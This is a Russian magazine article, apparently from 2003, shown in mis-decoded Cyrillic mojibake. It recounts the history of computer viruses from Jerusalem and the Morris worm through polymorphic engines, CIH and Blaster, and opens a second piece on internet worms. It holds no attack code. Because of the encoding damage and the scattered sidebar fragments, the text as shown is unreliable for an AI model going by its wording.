ïîëüçîâàëîñü òàêæå äðóãîå íàçâàíèå
- IDF, îçíà÷àâøåå Israeli Defence
Forces (Èçðàèëüñêèå Çàùèòíûå Âîéñ-
êà), â îäíîì èç îòäåëåíèé êîòîðûõ
áûë îáíàðóæåí âèðóñ. È, â êîíöå êîí-
öîâ, âèðóñ íàçâàëè êðàñèâûì èìåíåì
Jerusalem.
- Â ýòîì æå ãîäó ïîÿâëÿþòñÿ çíàìåíè-
òûå Stoned (ïåðâûé MBR-èíôåêòîð) è
Vienna. Áóðãåð äèçàññåìáëèðóåò Âèåí-
íó è äàåò èñõîäíèê â ñâîåé êíèãå
"Computer Viruses: A High-Tech
Disease".

1988
- Ðîáåðò Ìîððèñ ïèøåò ñâîåãî çíàìå-
íèòîãî ÷åðâÿ. Ïåðâûé â èñòîðèè ñëó-
÷àé, êîãäà êîìïüþòåðíàÿ ïðîãðàììà
ïðè÷èíèëà ðåàëüíûé ìíîãîìèëëèîí-
íûé óùåðá. Çàêîí åùå íå ïðåäóñìàò-

ðèâàåò íàêàçàíèÿ çà ïîäîáíûå ïðåñ-
òóïëåíèÿ, ïîýòîìó Ìîððèñ îòäåëàëñÿ
äåñÿòèòûñÿ÷íûì øòðàôîì è ðàáîòàìè
ïî âîññòàíîâëåíèþ ñèñòåì, ïîñòðà-
äàâøèõ îò åãî ÷åðâÿ. Êîìïüþòåðíîå
ñîîáùåñòâî, íàêîíåö, ïîíèìàåò ìàñø-
òàáû óãðîçû, è äëÿ ïðåäîòâðàùåíèÿ
ïîäîáíûõ ñëó÷àåâ ñîçäàåòñÿ îðãàíè-
çàöèÿ CERT (Computer Emergency
Response Team), ñóùåñòâóþùàÿ è àê-
òèâíî äåéñòâóþùàÿ äî ñèõ ïîð
(www.cert.org).

- IBM îáíàðóæèâàåò â ñâîèõ ñåòÿõ âè-
ðóñ Cascade è â ñâÿçè ñ ýòèì íà÷èíàåò
çàíèìàòüñÿ àíòèâèðóñíûìè èññëåäî-
âàíèÿìè.
- Òàêæå ýòîò ãîä çíàìåíàòåëåí òåì, ÷òî
íåêèé èíäîíåçèéñêèé ïðîãðàììèñò
ïóáëèêóåò ïðîãðàììó, ÷èñòÿùóþ äèñ-
êåòû îò âèðóñà Brain è ïðåäîõðàíÿþ-
ùóþ îò ýòîãî âèðóñà â äàëüíåéøåì.
Ò.î. ýòà ïðîãðàììà ñ÷èòàåòñÿ îäíèì èç
ïåðâûõ, åñëè íå ïåðâûì, àíòèâèðóñîì.

1989
- Ïîä äàâëåíèåì êëèåíòîâ, IBM ðàñï-
ðîñòðàíÿåò àíòèâèðóñ, êîòîðûé äî
ýòîãî èñïîëüçîâàëñÿ èñêëþ÷èòåëüíî
âíóòðè êîìïàíèè.

ÐÀÑÖÂÅÒ

1990
- Çíàåøü, ÷òî òàêîå SPAM? Íåò, ýòî íå
ïðåäëîæåíèÿ "çàðàáîòàòü $$$$" è ïð.
SPAM - ýòî Stealth Polymorph Armored
Multipartite.
Stealth (ñòåëñ, íåâèäèìîñòü) - ñïîñîá-
íîñòü âèðóñà çàðàæàòü ôàéëû ñêðûò-
íî, íå äàâàÿ ïîëüçîâàòåëþ ïîâîäà çà-
ïîäîçðèòü íåëàäíîå;
Polymorph (ïîëèìîðôèçì) - ñïîñîá-
íîñòü âèðóñà øèôðîâàòü ñâîå òåëî

òàê, ÷òîáû íèêàêèå äâå êîïèè âèðóñà
íå áûëè ïîõîæè äðóã íà äðóãà;
Armored (çàùèòà, áðîíèðîâàíèå) -
ñïîñîáíîñòü âèðóñà ñîïðîòèâëÿòüñÿ
îòëàäêå è äèçàññåìáëèðîâàíèþ;
Multipartite (ìíîãîñòîðîííîñòü) - ñïî-
ñîáíîñòü âèðóñà çàðàæàòü è ïðîãðàì-
ìû, è çàãðóçî÷íûå ñåêòîðà äèñêîâ.
Âîò òàêèå âåñåëûå òåõíèêè ïîÿâèëèñü
â íà÷àëå 90-õ. Êàæäàÿ èç íèõ ïî îò-
äåëüíîñòè êðàéíå çàòðóäíÿåò æèçíü
êàê ïðîñòîãî ïîëüçîâàòåëÿ, òàê è àí-
òèâèðóñíèêà, ïðåäñòàâü, êàêîé íà-
ïàñòüþ áûëè âèðóñû, ïðèìåíÿâøèå
ñðàçó íåñêîëüêî ýòèõ ìåòîäèê!
- Â Áîëãàðèè îòêðûâàåòñÿ ïåðâàÿ â
ìèðå VX-BBS. Âîîáùå, Áîëãàðèÿ è
Ðîññèÿ âíåñëè äîâîëüíî çíà÷èòåëü-
íûé âêëàä â äåëî ðàçâèòèÿ âèðìåéêå-
ðñòâà. Òàê âîò, íà áîëãàðñêîé BBS ëþ-
áîé æåëàþùèé ìîã ñëèòü ñåáå äåñÿ-
òîê íîâûõ âèðóñîâ è îòïðàâèòü èõ êó-
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Èçâåñòíåé-
øèé âèð-
ìåéêåð Dark
Avenger âû-
ïóñêàåò MtE
(Mutation
Engine) -
ïîëèìîðô-
íûé äâè-
æîê. Ñ ïî-
ìîùüþ ýòî-
ãî äâèæêà
ëþáîé âè-
ðóñ ìîæíî
ïðåâðàòèòü
â ïîëèìî-
ðôíûé,
ïðîñòî
ñëèíêîâàâ
åãî ñ MtE.

Stealth (ñòåëñ, íåâèäèìîñòü) - ñïîñîáíîñòü 
âèðóñà çàðàæàòü ôàéëû ñêðûòíî, íå äàâàÿ 
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1995. Ðàáî-
òà íàä
Windows95
ïðàêòè÷åñêè
çàâåðøåíà,
òåñòåðàì
ðàññûëàþò-
ñÿ áåòà-
âåðñèè. Âñå
äèñêè ñ
Win95.Beta
çàðàæåíû
âèðóñîì
Form.

äà óãîäíî. Îòêðûâàþòñÿ êîíôåðåíöèè
Usenet, ïîñâÿùåííûå íàïèñàíèþ âè-
ðóñîâ, ïóáëèêóþòñÿ äîêóìåíòû, â êî-
òîðûõ ìàòåðûå âèðìåéêåðû äåëÿòñÿ
îïûòîì. Ïóáëèêóåòñÿ êíèãà Ìàðêà
Ëþäâèãà "Ìàëåíüêàÿ ×åðíàÿ Êíèæêà
î Êîìïüþòåðíûõ Âèðóñàõ". Âêóïå ñ
êíèãîé Ðàëüôà Áóðãåðà è ðóêîâîä-
ñòâîì ïî MS-DOS, ó ðÿäîâîãî ïðîãðàì-
ìèñòà åñòü âñå íåîáõîäèìîå äëÿ ñòàð-
òà íà VX-ñöåíå. Âèðìåéêåðñòâî âîçâî-
äèòñÿ â ðàíã èñêóññòâà, ñîçäàþòñÿ VX-

ãðóïïû. È îäíîâðåìåííî (èëè ïîýòî-
ìó) íà÷èíàåòñÿ ýðà ãëîáàëüíîãî ðàñï-
ðîñòðàíåíèÿ âèðóñîâ. Â îòâåò íà ýòî
âîçíèêàåò àíòèâèðóñíàÿ èíäóñòðèÿ.
Ñêàíåðû, ñòîðîæà è ïð. ñóùåñòâîâàëè
è ðàíüøå, íî ñåé÷àñ çà äåëî áåðóòñÿ
òÿæåëîâåñû - Symantec âûïóñêàåò
Norton AntiVirus.
- Â òîì æå 1990 ãîäó âûõîäèò 32-áèò-
íàÿ ÎÑ Apple System 7.0, ïîëüçîâàòå-
ëè êîòîðîé ïîëíîñòüþ çàùèùåíû îò
ñòàðûõ 16-áèòíûõ âèðóñîâ. À äî âûõî-
äà Win95 åùå öåëûõ ïÿòü ëåò :). Viva
la Microsoft!

1991
- Ñ ïîÿâëåíèåì Chameleon íà÷èíàåòñÿ
ýïîõà ïîëèìîðôíûõ âèðóñîâ. Ïåðâûé
æå óäà÷íûé ïîëèìîðô Tequila âûçû-
âàåò íàñòîÿùóþ ýïèäåìèþ. È âñå áû
íè÷åãî, íî íà ñöåíó (âî âñåõ ñìûñëàõ)
âûõîäÿò òàêèå ëè÷íîñòè, êàê Nowhere
Man, Dark Avenger, Dark Angel è äð.

1992
- Èçâåñòíåéøèé âèðìåéêåð Dark
Avenger âûïóñêàåò MtE (Mutation
Engine) - ïîëèìîðôíûé äâèæîê. Â
ïîñòàâêó âõîäèò *.obj-ôàéë è êðàòêîå
ðóêîâîäñòâî. Ñ ïîìîùüþ ýòîãî äâèæ-
êà ëþáîé âèðóñ ìîæíî ïðåâðàòèòü â
ïîëèìîðôíûé, ïðîñòî ñëèíêîâàâ åãî
ñ MtE.
- Nowhere Man íå îòñòàåò è ñîçäàåò
VCL (Virus Creation Laboratory èëè
Viral Construction Laboratory) -
êîíñòðóêòîð âèðóñîâ è NED (Nuke
Encryption Device) - øèôðîâàëüíûé
ìîäóëü, êîòîðûé ìîæíî èñïîëüçîâàòü
â ëþáîì âèðóñå.
- Dark Angel ïèøåò DAME (Dark Angel
Multiðle Encryðtor) - åùå îäèí óäà÷-
íûé ïîëèìîðôíûé äâèæîê.
- È, íàêîíåö, VX-ãðóïïà Trident âûïóñ-
êàåò TPE (Trident Polymorphic Engine).
- Âûõîäèò Windows 3.1 è òóò æå, ñëå-
äîì, ïåðâûé âèðóñ ïîä íåå - WinVer
1.4, çàðàæàþùèé NE-ôàéëû.

1993
- Çà ãîä âûõîäèò íåñêîëüêî íîâûõ
âåðñèé âûøåïåðå÷èñëåííûõ ïðîã-
ðàìì-êîíñòðóêòîðîâ, è òåïåðü ëþáîé

þçåð, ñïîñîáíûé êëèêàòü ìûøêîé, ìî-
æåò ñîçäàòü ñåðüåçíûé ðàçðóøèòåëü-
íûé âèðóñ. Ñ îäíîé ñòîðîíû, äëÿ àíòè-
âèðóñíèêîâ íàñòóïàåò ñóùèé êîøìàð,
íî ñ äðóãîé - ýïîõà áëàãîäåíñòâèÿ, àí-
òèâèðóñíûé áèçíåñ ïðîöâåòàåò.
- Òîãäà æå âûõîäÿò åùå äâà êîíñòðóê-
òîðà âèðóñîâ: PS-MPC (Phalcon/Skism
Mass-Produced Code Generator) è G2
îò òîé æå ãðóïïû. Êàñïåðñêèé ãîâîðèò,
÷òî íà åãî ñêëàäå õðàíÿòñÿ íåñêîëüêî
ñîòåí âèðóñîâ, ñãåíåðèðîâàííûõ G2 è

VCL, è áîëüøå òûñÿ÷è, ñîçäàííûõ ïðè
ïîìîùè PS-MPC.
- Àíòèâèðóñíûå êîìïàíèè ðàçðàáàòû-
âàþò óñïåøíûå ìåòîäû áîðüáû ñ ïî-
ëèìîðôàìè, íî ïîÿâëÿåòñÿ äðóãàÿ
ïðîáëåìà - ñêàíåð îïðåäåëÿåò êàê ïî-
ëèìîðôíûå âèðóñû ìíîãèå ïðîãðàì-
ìû, âèðóñàìè íå ÿâëÿþùèåñÿ. Òàê ÷òî
äî ïîáåäû íàä ïîëèìîðôèçìîì åùå
äàëåêî.
- Ïîÿâëÿåòñÿ íåñêîëüêî îðèãèíàëüíûõ
âèðóñîâ. Íàïðèìåð, Cruncher, àðõèâè-
ðóþùèé çàðàæåííûå èì ïðîãðàììû.

1994
- Â Àíãëèè ïîÿâëÿåòñÿ âèðóñ
Pathogen. È íè÷åãî ïðèìå÷àòåëüíîãî
â ýòîì ñîáûòèè íå áûëî áû, åñëè áû
íå òîò ôàêò, ÷òî àâòîð áûë íàéäåí è
àðåñòîâàí. Ýòî îäíî èç ïåðâûõ óãî-
ëîâíûõ äåë, ñâÿçàííûõ ñ âèðóñàìè.
- Òàêæå â 1994 ãîäó ïîÿâëÿåòñÿ èçâå-
ñòíåéøèé ïðåäñòàâèòåëü ðîäà âèðó-
ñîâ - One Half, êîòîðûé ÿ äî ñèõ ïîð
âñòðå÷àþ íà íåêîòîðûõ êîìïüþòåðàõ.

ÍÎÂÛÅ ÃÎÐÈÇÎÍÒÛ

1995
- Ðàáîòà íàä Windows95 ïðàêòè÷åñêè
çàâåðøåíà, òåñòåðàì ðàññûëàþòñÿ áå-
òà-âåðñèè. Âñå äèñêè ñ Win95.Beta çà-
ðàæåíû âèðóñîì Form. Ðåïóòàöèÿ
Microsoft êàê íàäåæíîãî ïðîèçâîäèòå-
ëÿ ÏÎ îùóòèìî êðåïíåò :). Íî âîò, íà-
êîíåö, âûõîäèò îêîí÷àòåëüíàÿ âåðñèÿ
Windows95, íà ðåëèçå êîòîðîé Ãåéòñ
çàÿâëÿåò, ÷òî ñ âèðóñíîé óãðîçîé ïî-
êîí÷åíî - ïî åãî ñëîâàì, íîâàÿ ïëàò-
ôîðìà ïîëíîñòüþ çàùèùåíà îò ëþ-
áûõ òèïîâ âèðóñîâ. Ïîäòâåðæäåíèÿ
òîãî, êàê ñèëüíî îíà çàùèùåíà, ìû
âèäèì êàæäûé äåíü íà ñàéòå Êàñïåðñ-
êîãî :). Íî òîãäà â íåóÿçâèìîñòü íîâîé
ñèñòåìû äåéñòâèòåëüíî âåðèëè. Âåðè-

ëè äî òåõ ïîð, ïîêà ÷åðåç íåñêîëüêî
ìåñÿöåâ ïîñëå ðåëèçà íå áûë îáíàðó-
æåí âèðóñ, íàçâàííûé èññëåäîâàòåëÿ-
ìè Concept. Âèðóñ áûë íàïèñàí íà
WordBasic'å - âñòðîåííîì ÿçûêå MS
Word'à. Ò.î. Concept ñòàë ïåðâûì ìàê-
ðîâèðóñîì â èñòîðèè. Àíòèâèðóñíèêè
è Misrosoft ýòîãî íå îæèäàëè. Åñëè çà
äåñÿòü ëåò, ïðîøåäøèå ñî âðåìåí
Brain'à, òåõíèêà áîðüáû ñ ôàéëîâûìè
è çàãðóçî÷íûìè âèðóñàìè áûëà îòòî-
÷åíà, òî òåïåðü áîðöû çà ÷èñòîòó
êîìïüþòåðîâ ñòîëêíóëèñü ñ ñîâåð-
øåííî íîâîé êîíöåïöèåé ïîñòðîåíèÿ
âèðóñîâ.
- Âèðìåéêåðû ïðîäîëæàþò èçîùðÿòü-
ñÿ: ïîÿâëÿþòñÿ BAT-âèðóñû.

1996
- Âòîðîé óäàð ïî ñàìîóâåðåííîñòè
Ãåéòñà. Ïîÿâëÿåòñÿ âèðóñ Boza, ïðåê-
ðàñíî çàðàæàþùèé Win95-ñèñòåìû.
Äà è ñòîèò ëè ãîâîðèòü, ñêîëüêî íî-
âûõ ìàêðîâèðóñîâ ïîÿâèëîñü çà ãîä?
Îäíîãî MS Word'à èì óæå ìàëî -
Laroux, íàïðèìåð, çàðàæàåò Excel'åâñ-
êèå òàáëèöû!
- Âèðìåéêåðû íà÷èíàþò ìå÷òàòü î
Ring0-âèðóñàõ, à òàê êàê åäèíñòâåí-
íûì äîêóìåíòèðîâàííûì ñïîñîáîì
âîñïîëüçîâàòüñÿ ñåðâèñàìè íóëåâîãî
êîëüöà ÿâëÿåòñÿ íàïèñàíèå VxD, òî
âñêîðå òàêîé âèðóñ ïîÿâëÿåòñÿ, è èìÿ
åìó - Punch. Èñïîëüçóÿ VxD-ñåðâèñû,
Punch ïåðåõâàòûâàåò âñå îáðàùåíèÿ
ê ôàéëîâîé ñèñòåìå.

1997
- Ïîÿâëÿåòñÿ Bliss - âèðóñ ïîä Ëèíóêñ.
Òî÷êà.
- Òàêæå â ýòîì ãîäó ïîÿâëÿþòñÿ íî-
âûå òèïû ÷åðâåé: ftp- è mIRC-÷åðâè.
- Ïðîèñõîäèò î÷åðåäíîé ðàóíä ñõâàòêè
McAfee vs Dr.Solomon. Àíòèâèðóñíûå
ïðîäóêòû òåñòèðóþòñÿ ïî äâóì îñíîâ-
íûì ïðèçíàêàì: ñêîðîñòè ñêàíèðîâàíèÿ

è êîëè÷åñòâó îáíàðóæèâàåìûõ âèðó-
ñîâ. Ñêîðîñòü îáû÷íî çàìåðÿåòñÿ íà
ïðîâåðêå ïðàêòè÷åñêè ÷èñòîãî äèñêà ñ
ïàðîé âèðóñîâ, à êîëè÷åñòâî îáíàðóæè-
âàåìûõ âèðóñîâ - íà îãðîìíîé êîëëåê-
öèè ðàçíîîáðàçíûõ âèðåé. Òàê âîò
McAfee îáâèíèëà Äîêòîðà Ñîëîìîíà â
ñëåäóþùåì çëîäåÿíèè: àíòèâèðóñ îò
Ñîëîìîíà, îïðåäåëèâ, ÷òî ðàáîòàåò íàä
êîëëåêöèåé, à íå íàä îáû÷íîì äèñêîì,
ïåðåêëþ÷àåòñÿ â ðåæèì áîëåå òùà-
òåëüíîãî ñêàíèðîâàíèÿ, ÷åì îáû÷íî,
÷òî ñíèæàåò ñêîðîñòü, íî óâåëè÷èâàåò
ïîêàçàòåëü "âûÿâëÿåìîñòè". Ïî ñëîâàì
McAfee, òîëüêî áëàãîäàðÿ òàêîìó òðþ-
êó, Dr.Solomon'îâñêèé àíòèâèðü íåñ-
êîëüêî ðàç âûõîäèë íà ïåðâûå ïîçèöèè
â ðåéòèíãàõ. Ñîëîìîíîâöû, â ñâîþ î÷å-
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Âèðìåéêåðñòâî âîçâîäèòñÿ â ðàíã èñêóññòâà,
ñîçäàþòñÿ VX-ãðóïïû. È îäíîâðåìåííî 

(èëè ïîýòîìó) íà÷èíàåòñÿ ýðà 
ãëîáàëüíîãî  âèðóñîâ

Ñêîðîñòü îáû÷íî çàìåðÿåòñÿ íà ïðîâåðêå 
ïðàêòè÷åñêè ÷èñòîãî äèñêà ñ ïàðîé âèðóñîâ, 

à êîëè÷åñòâî îáíàðóæèâàåìûõ âèðóñîâ - 
íà îãðîìíîé êîëëåêöèè ðàçíîîáðàçíûõ âèðåé



ðåäü, ïðèäðàëèñü ê ðåêëàìíîìó ëîçóí-
ãó MacAfee. Êîíêóðåíöèÿ, ïîíèìàåøü.

1998
- Â êðûøêó ãðîáà Win9x çàáèâàåòñÿ
ïîñëåäíèé ãâîçäü - ïîÿâëÿåòñÿ CIH.
Óõîä â Ring0, ïåðåïðîøèâêà Flash
BIOS, ïåðåõâàò âñåõ îáðàùåíèé ê
ôàéëîâîé ñèñòåìå, ïåðèîäè÷åñêîå
ñòèðàíèå âñåé èíôîðìàöèè íà äèñêå -
âîò êðàòêèé ïåðå÷åíü äîñòîèíñòâ
WIN95.CIH :).
- Òîãäà æå ïîÿâëÿþòñÿ ïåðâûå ïîëè-
ìîðôíûå Win9x-âèðóñû è Strange
Brew - ïåðâûé Java-âèðóñ.
- Êîìïàíèÿ McAfee ïîêóïàåò êîìïà-
íèþ Dr.Solomon. Áîé îêîí÷åí.

1999
- Â Ñåòè îáíàðóæåí ìàêðîâèðóñ
Melissa, ïîáèâøèé âñå ðåêîðäû ïî
ñêîðîñòè çàðàæåíèÿ. Melissa óñïåøíî
ñî÷åòàåò ìåòîäû äåéñòâèÿ ñåòåâîãî
÷åðâÿ, ðàññûëàÿ ñåáÿ âñåì ëþäÿì, çà-
íåñåííûì â àäðåñíóþ êíèãó Outlook, è
ìàêðîâèðóñà - çàðàæàÿ Word'îâñêèå
äîêóìåíòû.

ÍÀØÈ ÄÍÈ

2000
- ILOVEYOU aka LoveBug. ×åðâü, ïî-
äîçðèòåëüíî ïîõîæèé íà Ìåëèññó. Âè-
ðóñû íà VBScript ïðèîáðåòàþò íåâè-
äàííóþ ïîïóëÿðíîñòü.
- Liberty - ïåðâûé âèðóñ, âåðíåå, òðîÿí
ïîä Palm OS. Ìîáèëüíèêè íà î÷åðåäè!

2001
- Êðîìå ýïèäåìèé òàêèõ âèðóñîâ, êàê
CodeRed è SirCam, ãîä çíàìåíàòåëåí
ïîÿâëåíèåì PeachyPDF-A - ÷åðâÿ,
ðàñïðîñòðàíÿþùåãîñÿ ÷åðåç PDF-äî-
êóìåíòû. Íî òàê êàê ó áîëüøèíñòâà

ïîëüçîâàòåëåé ñòîèò Acrobat Reader,
à íå ïðîñòî Acrobat, çàðàæåíèÿ ÷åð-
âåì íåìíîãî÷èñëåííû.

2002
- Åñëè ðàíüøå âèðìåéêåðû òðàòèëè
âðåìÿ íà èçîáðåòåíèå ðàçëè÷íûõ òåõ-
íèê çàùèòû êîäà âèðóñà èëè îðèãè-
íàëüíûõ ìåòîäèê çàðàæåíèÿ, òî òå-
ïåðü àêöåíò ñìåñòèëñÿ â ñòîðîíó íà-
ïèñàíèÿ ñîâåðøåííî íåòðàäèöèîííûõ
âèðóñîâ, âðîäå ñëåäóþùèõ:
LFM-926 - âèðóñ, çàðàæàþùèé *.swf-
ôàéëû (Shockwave Flash).
Sharp-A - ïåðâûé .NET âèðóñ, íàïèñàí-
íûé íà C#.
SQLSpider - ÷åðâü íà JavaScript, çàðà-
æàþùèé ñèñòåìû ñ çàïóùåííûì MS
SQL Server.

2003
- Ïîÿâëÿåòñÿ íåñêîëüêî ëþáîïûòíûõ
âèðóñîâ è ÷åðâåé, ñðåäè íèõ:
MBA.First - âèðóñ, çàðàæàþùèé òàáëè-
öû ïðîãðàììû MapInfo. Íàïèñàí âèðóñ

íà âñòðîåííîì ÿçûêå ïðîãðàììû -
MapBasic.
TrojanProxy.Win32.Zebroxy - òðîÿí, ïîç-
âîëÿþùèé õîçÿèíó èñïîëüçîâàòü çà-
ðàæåííóþ ìàøèíó êàê ïðîêñè-ñåðâåð.
Lovesan aka Lovsan aka Blaster aka
Msblast aka Poza - îáûêíîâåííûé
÷åðâü äëÿ NT-ñèñòåì, ïîëó÷èâøèé
øèðîêîå ðàñïðîñòðàíåíèå ýòèì ëå-
òîì (2003). ß ñàì ïàðó äíåé íàçàä
ïðèõëîïíóë ôàéë msblast.exe íà
ñâîåé ìàøèíå :).

×ÒÎ ÍÀÑ ÆÄÅÒ?
Äà íè÷åãî õîðîøåãî. Åñëè â êîí-

öå 80-õ ãîäîâ, ñ òîãäàøíèì óðîâíåì
ðàçâèòèÿ êîììóíèêàöèé è ìàëîé
ðàñïðîñòðàíåííîñòüþ ïåðñîíàëü-
íûõ êîìïüþòåðîâ, âñïûõèâàëè ñà-
ìûå íàñòîÿùèå ýïèäåìèè, òî ÷òî æå
ãîâîðèòü î äíå íûíåøíåì, êîãäà
êàæäûé øêîëüíèê èìååò äîñòóï ê
êîìïüþòåðó, çà÷àñòóþ ïîäêëþ÷åí-
íîìó ê Ñåòè, êîãäà èíòåðíåò ïðåâðà-
òèëñÿ èç òåõíè÷åñêîé áèáëèîòåêè
äëÿ ñïåöèàëèñòîâ â âåùü, ïî÷òè
ñòîëü æå ïðèâû÷íóþ, êàê òåëåâè-
çîð. ×åðåç íåñêîëüêî ìåñÿöåâ ïîñ-
ëå âûõîäà íîâîé òåõíîëîãèè èëè
ïëàòôîðìû ïîä íåå ïîÿâëÿåòñÿ âè-
ðóñ. ×åðåç ïàðó äíåé ïîñëå îáíàðó-
æåíèÿ óÿçâèìîñòè â êàêîì-ëèáî ñå-
òåâîì ñîôòå âûõîäèò ïðîñòåíüêèé
VBS-÷åðâü, èñïîëüçóþùèé ýòó óÿç-
âèìîñòü. Ðàçäàëè íàðîäó îðóæèå,
òåïåðü íå îáèæàéòåñü.              A

Ðàçäàëè íà-
ðîäó îðó-
æèå, òåïåðü
íå îáèæàé-
òåñü.
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Ïî èäåå, ñåé÷àñ íàäî áû äàòü êó÷ó ññûëîê, íî äåëî â òîì, ÷òî íà ëþ-
áîì àíòèâèðóñíîì ñàéòå åñòü ðàçäåë, ïîñâÿùåííûé èñòîðèè âèðó-
ñîâ. Êîðî÷å ãîâîðÿ, ñþäà õîäè:

www.cert.org - ñóùåñòâóåò ñî âðåìåí ÷åðâÿ Ìîððèñà, çàñëóæèë
ïî÷åò è äîâåðèå.

www.kaspersky.ru - ñóùåñòâóåò íåìíîãî :) ìåíüøå, íî íàø,
îòå÷åñòâåííûé, çíà÷èò, õîðîøèé.

www.cknow.com - Computer Knowledge. Åñòü õîðîøèé ðàçäåë îá
èñòîðèè âèðóñîâ. Ïðè íàïèñàíèè ñòàòüè ÿ àêòèâíî ïîëüçîâàëñÿ
ýòèì ðåñóðñîì.

www.google.com - ñàìûé ãëàâíûé òâîé äðóã. Áàðòåðíûé ïðèíöèï:
äàåøü åìó èìÿ âèðóñà, ïîëó÷àåøü âçàìåí êó÷ó ññûëîê.
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Ãèãàíò, êóïèâøèé Äîêòîðà Ñîëîìîíà

Ïîääåðæè îòå÷åñòâåííîãî ïðîèçâîäèòåëÿ!



Íî ÷åãî âñå
áîÿòñÿ?
Ïðåæäå âñå-
ãî, òîãî, ÷òî
èíòåðíåò
óïàäåò. Íà
äåíü èëè
íåäåëþ. À
ìîæåò, íà-
ñîâñåì. Äó-
ìàåøü, âðà-
êè? Íåò.
Òî÷íî òàê
æå, êàê
áîëüøîìó
êîðàáëþ -
áîëüøîå
ïëàâàíèå,
òàê è ãëî-
áàëüíîé ñå-
òè - ãëî-
áàëüíûé êî-
íåö :).

TanaT (tanat@hotmail.ru)

Ðàçâåëîñü ÷òî-òî â ïîñëåäíåå âðåìÿ ìíîãî ðàçíûõ ÷åðâåé. Èíòåðíåò, âðîäå áû, íå ÿáëîêî, ÷òîáû áûòü ñúåäåííûì, íî âñå øàíñû
íà ýòî ó íåãî åñòü. Â ýòîé ñòàòüå ìû ïîãîâîðèì î ñåòåâûõ ÷åðâÿõ è èõ âëèÿíèè íà ñàìóþ ãëàâíóþ ñåòü íàøåé ïëàíåòû.

ÑÚÅÄßÒ ËÈ 
×ÅÐÂÈ ÈÍÒÅÐÍÅÒ?
ÍÀÑÊÎËÜÊÎ ÎÏÀÑÍÛ ÑÎÂÐÅÌÅÍÍÛÅ ÈÍÒÅÐÍÅÒ-×ÅÐÂÈ

×ÅÐÂßÊ
ÎÁÛÊÍÎÂÅÍÍÛÉ

Âèðóñû (à òàêæå
òðîÿíû, áýêäîðû è ò.ï.)
ñåé÷àñ ó âñåõ íà ñëóõó.

×åðâè, îäíàêî, ýòî ðàçãîâîð îñîáûé.
Â îòëè÷èå îò êëàññè÷åñêèõ âèðóñîâ,
ñðåäîé îáèòàíèÿ ÷åðâåé ÿâëÿåòñÿ
Ñåòü. Öåëü âèðóñà - çàðàçèòü êàê
ìîæíî áîëüøå ôàéëîâ íà êîìïüþòå-
ðå, à ÷åðâÿ - ìàêñèìàëüíîå êîëè÷åñò-
âî ñèñòåì â Ñåòè. Ê ýòîìó ìîãóò äî-
áàâëÿòüñÿ áîëåå ïðîçàè÷åñêèå çàäà-
÷è (ïîòåðåòü èíôîðìàöèþ, âûêðàñòü
è îòîñëàòü äàííûå è ò.ä.). Ñîâðåìåí-
íûå ÷åðâè îáëàäàþò ôóíêöèîíàëü-
íîñòüþ è îãðîìíîãî êîëè÷åñòâà ñòàí-
äàðòíûõ âèðóñîâ: îíè ïîðàæàþò
ôàéëû, îïåðàòèâíóþ ïàìÿòü, çàãðó-
çî÷íûå ñåêòîðà. Èìåííî ïîòîìó, ÷òî
÷åðâü - ýòî áîëüøå, ÷åì âèðóñ, è åãî
ñòîèò ñåðüåçíî îïàñàòüñÿ.
Âçãëÿíåì íà ïðîáëåìó øèðå. ×åðâè -
ýòî åäèíñòâåííûé âèä âðåäîíîñíîãî
êîäà, êîòîðûé âûçûâàåò ó ïîëüçîâà-
òåëåé è ýêñïåðòîâ òðåâîãó çà áóäó-
ùåå. Íî ÷åãî âñå áîÿòñÿ? Ïðåæäå
âñåãî, òîãî, ÷òî èíòåðíåò óïàäåò. Íà
äåíü èëè íåäåëþ. À ìîæåò, íàñîâñåì.
Ïóñòûå ñëîâà? Íåò. Òî÷íî òàê æå, êàê
áîëüøîìó êîðàáëþ - áîëüøîå ïëàâà-
íèå, òàê è ãëîáàëüíîé ñåòè - ãëîáàëü-
íûé êîíåö :). Èíòåðíåò - ýòî ñëîæíàÿ
ñèñòåìà, êîòîðóþ âïîëíå ðåàëüíî

ïîñòàâèòü íà êîëåíè. Åùå ïàðó ëåò
íàçàä îá ýòîì íå ìîãëî áûòü è ðå÷è,
íî ñåãîäíÿ ñëó÷èëîñü ñòðàøíîå: ïîÿ-
âèëèñü ÷åðâè, ýêñïëóàòèðóþùèå òó
èëè èíóþ äûðó â ñèñòåìå áåçîïàñ-
íîñòè ÏÎ è ðàçìíîæàþùèåñÿ çà ñ÷åò
ýòîãî ñ íåâåðîÿòíîé ñêîðîñòüþ. Òî
åñòü ïðîáëåìà "ïîëüçîâàòåëÿ, êîòî-
ðîìó íàäî ÷òî-òî âïàðèâàòü" óæå
ñîøëà íà íåò.
Ïîìíèøü ñòàðîãî-ïðåñòàðîãî ÷åðâÿ -
LoveLetter? Ýòîò ÷åðâü áóéñòâîâàë â
òå÷åíèå ëèøü îäíîãî ìåñÿöà, íî âíè-
ìàíèÿ ïðèâëåê ê ñåáå óéìó. Àâòîð
ýòîãî òâîðåíèÿ, ÷òîáû çàñòàâèòü
ïîëüçîâàòåëÿ îòêðûòü çàðàæåííûé
ôàéë, ïèñàë â òåìå ïèñüìà "I Love
You!". Êàêîé ÷åëîâåê óäåðæèòñÿ îò
ñîáëàçíà ïðî÷åñòü ëþáîâíîå ïèñüìî

îò ñâîåé (ñâîåãî) êîëëåãè? Ýòî ïñè-
õîëîãèÿ. Ïñèõîëîãèÿ ïðîøëîãî. Ñå-
ãîäíÿ îíà íèêîìó íå èíòåðåñíà. Ýòîò
ïðèåì ìîæíî ñðàâíèòü ñî ñòðåëüáîé
èç ïóøåê ÿäðàìè. Êîãäà êàâàëåðèÿ
íàñòóïàåò, ýòî íåïëîõîé ñïîñîá ïîê-
ðîøèòü âðàæåñêèõ âñàäíèêîâ. Íî íà
äâîðå òðåòüå òûñÿ÷åëåòèå - êîìïüþ-
òåðíûé ìèð âçÿë íà âîîðóæåíèå íî-
âóþ çàðàçó. Òåïåðü, ÷òîáû îñòàíî-
âèòü íàñòóïëåíèå, èñïîëüçóåòñÿ ðà-
êåòà ñ ÿäåðíûì áîåçàðÿäîì. Îíà íå-
ñåò â ñåáå ñìåðòü: âçðûâíóþ âîëíó,
ðàäèàöèþ, âûñî÷àéøóþ òåìïåðàòó-
ðó, ìàãíèòíûé èìïóëüñ. Ñìåðòü äëÿ
âñåãî æèâîãî è òåõíèêè. Òî÷íî òàê
æå è íîâûé ÷åðâü - îí ñàì çàëåçåò
íà êîìïüþòåð, åìó íå íóæåí ïîëüçî-
